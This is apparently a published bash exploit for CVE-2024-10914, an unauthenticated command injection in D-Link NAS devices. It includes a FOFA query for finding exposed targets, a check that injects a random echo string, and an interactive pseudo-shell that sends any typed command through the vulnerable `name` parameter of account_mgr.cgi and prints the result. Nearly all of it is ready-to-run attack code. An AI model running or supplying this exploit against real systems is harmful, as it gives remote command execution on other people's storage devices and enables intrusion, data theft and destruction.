cve-2024-10914.sh

# CVE-2024-10914 Command Injection Vulnerability in `name` parameter for D-Link NAS
# FOFA app="D_Link-DNS-ShareCenter" && server=="lighttpd/1.4.25-devel-fb150ff"
# Medium https://medium.com/@verylazytech
# Github https://github.com/verylazytech
# BuyMeACoffee https://buymeacoffee.com/verylazytech
# https://verylazytech.com

#!/bin/bash

# Print banner
print_banner() {
    echo "
         _______    ________    ___   ____ ___  __ __       _______  ____ _____ __
        / ____/ |  / / ____/   |__ \\ / __ \\__ \\/ // /      <  / __ \\/ __ <  / // /
       / /    | | / / __/________/ // / / /_/ / // /_______/ / / / / /_/ / / // /_
      / /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/ / /_/ /\\__, / /__  __/
      \\____/  |___/_____/    /____/\\____/____/ /_/       /_/\\____//____/_/  /_/                                                                                              
        
            @VeryLazyTech - Medium                            
    "
}

verify() {
    echo "[!] Checking if target is vulnerable..."
    local verify_string=$(cat /dev/urandom | tr -dc 'a-zA-Z' | fold -w 5 | head -n 1)
    local cmd="echo ${verify_string}"
    local encoded_cmd=$(echo "$cmd" | jq -s -R -r @uri)
    local endpoint="/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;${encoded_cmd};%27"

    response=$(curl "${1}${endpoint}" 2>/dev/null)
    
    if [[ "$response" == *"$verify_string"* ]]; then
        echo "[+] Vulnerable"
    else
        echo "[-] Not vulnerable"
        echo "[-] Exiting..."
        exit 1
    fi
}

# Function to exploit the target
exploit() {
    while true; do
        read -p "VeryLazyTech-Shell$ " cmd
        
        # Check if the command is "exit"
        if [[ "$cmd" == "exit" ]]; then
            echo "[!] Exiting exploit mode..."
            break
        fi
        
        encoded_cmd=$(echo "$cmd" | jq -s -R -r @uri)
        endpoint="/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;${encoded_cmd};%27"

        response=$(curl "${1}${endpoint}" 2>/dev/null)

        if [ -z "$response" ]; then
            echo "[-] Command not available or returned no output."
            echo "[-] For exit enter 'exit'"
        else
            echo "$response"
        fi
    done
}

# Main function
main() {
    # Argument parsing
    while getopts "u:k" opt; do
        case ${opt} in
            u ) URL=$OPTARG ;;
            k ) IGNORE_CERT=true ;;
            * ) echo "Usage: $0 -u <target_url> [-k]" 
                exit 1 ;;
        esac
    done

    if [ -z "$URL" ]; then
        echo "Target URL is required. Use -u <target_url>."
        exit 1
    fi

    print_banner
    verify "$URL"

    read -p "[?] Do you want to proceed with the exploit? [y/n]: " choice
    if [[ "$choice" == "y" || "$choice" == "Y" ]]; then
        exploit "$URL"
    else
        echo "[!] Bye..."
        exit 0
    fi
}

main "$@"